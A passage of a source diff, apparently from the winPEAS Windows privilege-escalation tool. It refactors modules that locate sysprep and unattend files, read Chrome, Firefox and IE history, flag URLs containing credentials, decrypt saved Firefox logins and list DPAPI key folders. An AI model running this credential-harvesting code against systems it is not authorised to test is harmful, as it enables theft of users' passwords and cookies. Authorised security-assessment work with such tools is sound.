|||||||
@@ -40,7 +40,7 @@ namespace winPEAS.InterestingFiles
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var winDir = System.Environment.GetEnvironmentVariable("windir");
|
var winDir = Environment.GetEnvironmentVariable("windir");
|
||||||
string[] searchLocations =
|
string[] searchLocations =
|
||||||
{
|
{
|
||||||
$"{winDir}\\sysprep\\sysprep.xml",
|
$"{winDir}\\sysprep\\sysprep.xml",
|
||||||
@@ -56,7 +56,7 @@ namespace winPEAS.InterestingFiles
|
|||||||
$"{winDir}\\..\\unattend.inf",
|
$"{winDir}\\..\\unattend.inf",
|
||||||
};
|
};
|
||||||
|
|
||||||
results.AddRange(searchLocations.Where(System.IO.File.Exists));
|
results.AddRange(searchLocations.Where(File.Exists));
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using System.Web.Script.Serialization;
|
using System.Web.Script.Serialization;
|
||||||
using winPEAS.Checks;
|
using winPEAS.Checks;
|
||||||
@@ -27,7 +28,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for Chrome DBs");
|
Beaprint.MainPrint("Looking for Chrome DBs");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs();
|
Dictionary<string, string> chromeDBs = GetChromeDbs();
|
||||||
|
|
||||||
if (chromeDBs.ContainsKey("userChromeCookiesPath"))
|
if (chromeDBs.ContainsKey("userChromeCookiesPath"))
|
||||||
{
|
{
|
||||||
@@ -59,7 +60,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for GET credentials in Chrome history");
|
Beaprint.MainPrint("Looking for GET credentials in Chrome history");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook();
|
Dictionary<string, List<string>> chromeHistBook = GetChromeHistBook();
|
||||||
List<string> history = chromeHistBook["history"];
|
List<string> history = chromeHistBook["history"];
|
||||||
List<string> bookmarks = chromeHistBook["bookmarks"];
|
List<string> bookmarks = chromeHistBook["bookmarks"];
|
||||||
|
|
||||||
@@ -77,8 +78,11 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
|
|
||||||
|
int limit = 50;
|
||||||
|
Beaprint.MainPrint($"Chrome history -- limit {limit}\n");
|
||||||
|
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -130,14 +134,14 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
string userChromeCookiesPath =
|
string userChromeCookiesPath =
|
||||||
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
|
$"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
|
||||||
if (File.Exists(userChromeCookiesPath))
|
if (File.Exists(userChromeCookiesPath))
|
||||||
{
|
{
|
||||||
results["userChromeCookiesPath"] = userChromeCookiesPath;
|
results["userChromeCookiesPath"] = userChromeCookiesPath;
|
||||||
}
|
}
|
||||||
|
|
||||||
string userChromeLoginDataPath =
|
string userChromeLoginDataPath =
|
||||||
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
|
$"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
|
||||||
if (File.Exists(userChromeLoginDataPath))
|
if (File.Exists(userChromeLoginDataPath))
|
||||||
{
|
{
|
||||||
results["userChromeLoginDataPath"] = userChromeLoginDataPath;
|
results["userChromeLoginDataPath"] = userChromeLoginDataPath;
|
||||||
@@ -156,7 +160,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
List<string> results = new List<string>();
|
List<string> results = new List<string>();
|
||||||
|
|
||||||
// parses a Chrome history file via regex
|
// parses a Chrome history file via regex
|
||||||
if (System.IO.File.Exists(path))
|
if (File.Exists(path))
|
||||||
{
|
{
|
||||||
Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
|
Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
|
||||||
|
|
||||||
@@ -217,10 +221,10 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||||
results["history"] = ParseChromeHistory(userChromeHistoryPath);
|
results["history"] = ParseChromeHistory(userChromeHistoryPath);
|
||||||
|
|
||||||
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||||
|
|
||||||
results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath);
|
results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath);
|
||||||
}
|
}
|
||||||
@@ -241,7 +245,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string contents = System.IO.File.ReadAllText(path);
|
string contents = File.ReadAllText(path);
|
||||||
|
|
||||||
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
|
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
|
||||||
JavaScriptSerializer json = new JavaScriptSerializer();
|
JavaScriptSerializer json = new JavaScriptSerializer();
|
||||||
|
|||||||
@@ -1,10 +1,4 @@
|
|||||||
using System;
|
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Linq;
|
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|
||||||
{
|
{
|
||||||
class FFLogins
|
class FFLogins
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -4,11 +4,11 @@ using System.Data;
|
|||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
|
using System.Web.Script.Serialization;
|
||||||
|
using winPEAS._3rdParty.SQLite;
|
||||||
using winPEAS.Checks;
|
using winPEAS.Checks;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.KnownFileCreds.Browsers.Models;
|
using winPEAS.KnownFileCreds.Browsers.Models;
|
||||||
using winPEAS._3rdParty.SQLite;
|
|
||||||
using System.Web.Script.Serialization;
|
|
||||||
|
|
||||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||||
{
|
{
|
||||||
@@ -29,7 +29,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for Firefox DBs");
|
Beaprint.MainPrint("Looking for Firefox DBs");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
List<string> firefoxDBs = Firefox.GetFirefoxDbs();
|
List<string> firefoxDBs = GetFirefoxDbs();
|
||||||
if (firefoxDBs.Count > 0)
|
if (firefoxDBs.Count > 0)
|
||||||
{
|
{
|
||||||
foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red
|
foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red
|
||||||
@@ -56,21 +56,26 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for GET credentials in Firefox history");
|
Beaprint.MainPrint("Looking for GET credentials in Firefox history");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
List<string> firefoxHist = Firefox.GetFirefoxHistory();
|
List<string> history = GetFirefoxHistory();
|
||||||
if (firefoxHist.Count > 0)
|
if (history.Count > 0)
|
||||||
{
|
{
|
||||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ Globals.PrintCredStrings, Beaprint.ansi_color_bad },
|
{ Globals.PrintCredStrings, Beaprint.ansi_color_bad },
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (string url in firefoxHist)
|
foreach (string url in history)
|
||||||
{
|
{
|
||||||
if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))
|
if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))
|
||||||
{
|
{
|
||||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Console.WriteLine();
|
||||||
|
|
||||||
|
int limit = 50;
|
||||||
|
Beaprint.MainPrint($"Firefox history -- limit {limit}\n");
|
||||||
|
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -101,7 +106,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||||
{
|
{
|
||||||
string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
|
string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
|
||||||
if (System.IO.Directory.Exists(userFirefoxBasePath))
|
if (Directory.Exists(userFirefoxBasePath))
|
||||||
{
|
{
|
||||||
var directories = Directory.EnumerateDirectories(userFirefoxBasePath);
|
var directories = Directory.EnumerateDirectories(userFirefoxBasePath);
|
||||||
foreach (string directory in directories)
|
foreach (string directory in directories)
|
||||||
@@ -249,25 +254,28 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
|
|
||||||
foreach (string dir in dirs)
|
foreach (string dir in dirs)
|
||||||
{
|
{
|
||||||
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
|
if (Directory.Exists(dir))
|
||||||
if (files.Length > 0)
|
|
||||||
{
|
{
|
||||||
signonsFile = files[0];
|
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
|
||||||
signonsFound = true;
|
if (files.Length > 0)
|
||||||
}
|
{
|
||||||
|
signonsFile = files[0];
|
||||||
|
signonsFound = true;
|
||||||
|
}
|
||||||
|
|
||||||
// find "logins.json"file
|
// find "logins.json"file
|
||||||
files = Directory.EnumerateFiles(dir, "logins.json").ToArray();
|
files = Directory.EnumerateFiles(dir, "logins.json").ToArray();
|
||||||
if (files.Length > 0)
|
if (files.Length > 0)
|
||||||
{
|
{
|
||||||
loginsFile = files[0];
|
loginsFile = files[0];
|
||||||
loginsFound = true;
|
loginsFound = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (loginsFound || signonsFound)
|
if (loginsFound || signonsFound)
|
||||||
{
|
{
|
||||||
FFDecryptor.NSS_Init(dir);
|
FFDecryptor.NSS_Init(dir);
|
||||||
break;
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -313,8 +321,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
|
|
||||||
foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)
|
foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)
|
||||||
{
|
{
|
||||||
string username = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedUsername);
|
string username = FFDecryptor.Decrypt(loginData.encryptedUsername);
|
||||||
string password = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedPassword);
|
string password = FFDecryptor.Decrypt(loginData.encryptedPassword);
|
||||||
logins.Add(new CredentialModel
|
logins.Add(new CredentialModel
|
||||||
{
|
{
|
||||||
Username = username,
|
Username = username,
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
{
|
{
|
||||||
internal interface IBrowser
|
internal interface IBrowser
|
||||||
{
|
{
|
||||||
string Name { get; }
|
string Name { get; }
|
||||||
void PrintInfo();
|
void PrintInfo();
|
||||||
IEnumerable<CredentialModel> GetSavedCredentials();
|
IEnumerable<CredentialModel> GetSavedCredentials();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Checks;
|
using winPEAS.Checks;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
@@ -30,7 +30,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Current IE tabs");
|
Beaprint.MainPrint("Current IE tabs");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
List<string> urls = InternetExplorer.GetCurrentIETabs();
|
List<string> urls = GetCurrentIETabs();
|
||||||
|
|
||||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
@@ -51,9 +51,9 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for GET credentials in IE history");
|
Beaprint.MainPrint("Looking for GET credentials in IE history");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav();
|
Dictionary<string, List<string>> ieHistoryBook = GetIEHistFav();
|
||||||
List<string> history = chromeHistBook["history"];
|
List<string> history = ieHistoryBook["history"];
|
||||||
List<string> favorites = chromeHistBook["favorites"];
|
List<string> favorites = ieHistoryBook["favorites"];
|
||||||
|
|
||||||
if (history.Count > 0)
|
if (history.Count > 0)
|
||||||
{
|
{
|
||||||
@@ -69,8 +69,15 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
|
|
||||||
|
int limit = 50;
|
||||||
|
Beaprint.MainPrint($"IE history -- limit {limit}\n");
|
||||||
|
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Beaprint.NotFoundPrint();
|
||||||
}
|
}
|
||||||
|
|
||||||
Beaprint.MainPrint("IE favorites");
|
Beaprint.MainPrint("IE favorites");
|
||||||
@@ -91,7 +98,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
{ "favorites", new List<string>() },
|
{ "favorites", new List<string>() },
|
||||||
};
|
};
|
||||||
|
|
||||||
DateTime startTime = System.DateTime.Now.AddDays(-lastDays);
|
DateTime startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -167,39 +174,31 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
{
|
{
|
||||||
foreach (KeyValuePair<string, object> kvp in settings)
|
foreach (KeyValuePair<string, object> kvp in settings)
|
||||||
{
|
{
|
||||||
byte[] timeBytes = RegistryHelper.GetRegValueBytes("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.ToString().Trim());
|
results["history"].Add(kvp.Value.ToString().Trim());
|
||||||
if (timeBytes != null)
|
|
||||||
{
|
|
||||||
long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0));
|
|
||||||
DateTime urlTime = DateTime.FromFileTime(timeLong);
|
|
||||||
if (urlTime > startTime)
|
|
||||||
{
|
|
||||||
results["history"].Add(kvp.Value.ToString().Trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||||
|
if (Directory.Exists(userIEBookmarkPath))
|
||||||
string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
|
|
||||||
|
|
||||||
foreach (string bookmarkPath in bookmarkPaths)
|
|
||||||
{
|
{
|
||||||
using (StreamReader rdr = new StreamReader(bookmarkPath))
|
string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
|
||||||
|
foreach (string bookmarkPath in bookmarkPaths)
|
||||||
{
|
{
|
||||||
string line;
|
using (StreamReader rdr = new StreamReader(bookmarkPath))
|
||||||
string url = "";
|
|
||||||
while ((line = rdr.ReadLine()) != null)
|
|
||||||
{
|
{
|
||||||
if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase))
|
string line;
|
||||||
|
string url = "";
|
||||||
|
while ((line = rdr.ReadLine()) != null)
|
||||||
{
|
{
|
||||||
if (line.Length > 4)
|
if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase))
|
||||||
url = line.Substring(4);
|
{
|
||||||
break;
|
if (line.Length > 4)
|
||||||
|
url = line.Substring(4);
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
results["favorites"].Add(url.ToString().Trim());
|
||||||
}
|
}
|
||||||
results["favorites"].Add(url.ToString().Trim());
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
@@ -6,7 +7,6 @@ using System.Reflection;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
@@ -76,7 +76,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
var currentUserDir = Environment.GetEnvironmentVariable("USERPROFILE");
|
var currentUserDir = Environment.GetEnvironmentVariable("USERPROFILE");
|
||||||
userDirs = new List<string>{ currentUserDir };
|
userDirs = new List<string> { currentUserDir };
|
||||||
}
|
}
|
||||||
|
|
||||||
foreach (var userDir in userDirs)
|
foreach (var userDir in userDirs)
|
||||||
@@ -123,7 +123,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
// parses recent file shortcuts via COM
|
// parses recent file shortcuts via COM
|
||||||
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||||
int lastDays = 7;
|
int lastDays = 7;
|
||||||
DateTime startTime = System.DateTime.Now.AddDays(-lastDays);
|
DateTime startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -145,31 +145,34 @@ namespace winPEAS.KnownFileCreds
|
|||||||
string recentPath = string.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir);
|
string recentPath = string.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir);
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string[] recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories).ToArray();
|
if (Directory.Exists(recentPath))
|
||||||
|
|
||||||
if (recentFiles.Length != 0)
|
|
||||||
{
|
{
|
||||||
Console.WriteLine(" {0} :\r\n", userName);
|
string[] recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories).ToArray();
|
||||||
foreach (string recentFile in recentFiles)
|
|
||||||
|
if (recentFiles.Length != 0)
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile);
|
Console.WriteLine(" {0} :\r\n", userName);
|
||||||
|
foreach (string recentFile in recentFiles)
|
||||||
if (lastAccessed > startTime)
|
|
||||||
{
|
{
|
||||||
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
|
DateTime lastAccessed = File.GetLastAccessTime(recentFile);
|
||||||
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
|
|
||||||
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
|
|
||||||
|
|
||||||
if (TargetPath.ToString().Trim() != "")
|
if (lastAccessed > startTime)
|
||||||
{
|
{
|
||||||
results.Add(new Dictionary<string, string>()
|
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
|
||||||
|
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
|
||||||
|
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
|
||||||
|
|
||||||
|
if (TargetPath.ToString().Trim() != "")
|
||||||
|
{
|
||||||
|
results.Add(new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ "Target", TargetPath.ToString() },
|
{ "Target", TargetPath.ToString() },
|
||||||
{ "Accessed", string.Format("{0}", lastAccessed) }
|
{ "Accessed", string.Format("{0}", lastAccessed) }
|
||||||
});
|
});
|
||||||
|
}
|
||||||
|
Marshal.ReleaseComObject(shortcut);
|
||||||
|
shortcut = null;
|
||||||
}
|
}
|
||||||
Marshal.ReleaseComObject(shortcut);
|
|
||||||
shortcut = null;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -180,33 +183,35 @@ namespace winPEAS.KnownFileCreds
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
string recentPath = string.Format("{0}\\Microsoft\\Windows\\Recent\\", System.Environment.GetEnvironmentVariable("APPDATA"));
|
string recentPath = string.Format("{0}\\Microsoft\\Windows\\Recent\\", Environment.GetEnvironmentVariable("APPDATA"));
|
||||||
|
if (Directory.Exists(recentPath))
|
||||||
var recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories);
|
|
||||||
|
|
||||||
foreach (string recentFile in recentFiles)
|
|
||||||
{
|
{
|
||||||
// old method (needed interop dll)
|
var recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories);
|
||||||
//WshShell shell = new WshShell();
|
|
||||||
//IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile);
|
|
||||||
|
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile);
|
foreach (string recentFile in recentFiles)
|
||||||
|
|
||||||
if (lastAccessed > startTime)
|
|
||||||
{
|
{
|
||||||
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
|
// old method (needed interop dll)
|
||||||
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
|
//WshShell shell = new WshShell();
|
||||||
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
|
//IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile);
|
||||||
if (TargetPath.ToString().Trim() != "")
|
|
||||||
|
DateTime lastAccessed = File.GetLastAccessTime(recentFile);
|
||||||
|
|
||||||
|
if (lastAccessed > startTime)
|
||||||
{
|
{
|
||||||
results.Add(new Dictionary<string, string>()
|
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
|
||||||
|
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
|
||||||
|
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
|
||||||
|
if (TargetPath.ToString().Trim() != "")
|
||||||
|
{
|
||||||
|
results.Add(new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ "Target", TargetPath.ToString() },
|
{ "Target", TargetPath.ToString() },
|
||||||
{ "Accessed", string.Format("{0}", lastAccessed) }
|
{ "Accessed", string.Format("{0}", lastAccessed) }
|
||||||
});
|
});
|
||||||
|
}
|
||||||
|
Marshal.ReleaseComObject(shortcut);
|
||||||
|
shortcut = null;
|
||||||
}
|
}
|
||||||
Marshal.ReleaseComObject(shortcut);
|
|
||||||
shortcut = null;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -237,13 +242,15 @@ namespace winPEAS.KnownFileCreds
|
|||||||
string userName = parts[parts.Length - 1];
|
string userName = parts[parts.Length - 1];
|
||||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||||
{
|
{
|
||||||
List<string> userDPAPIBasePaths = new List<string>();
|
List<string> userDPAPIBasePaths = new List<string>
|
||||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
{
|
||||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE")),
|
||||||
|
string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE"))
|
||||||
|
};
|
||||||
|
|
||||||
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
|
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
|
||||||
{
|
{
|
||||||
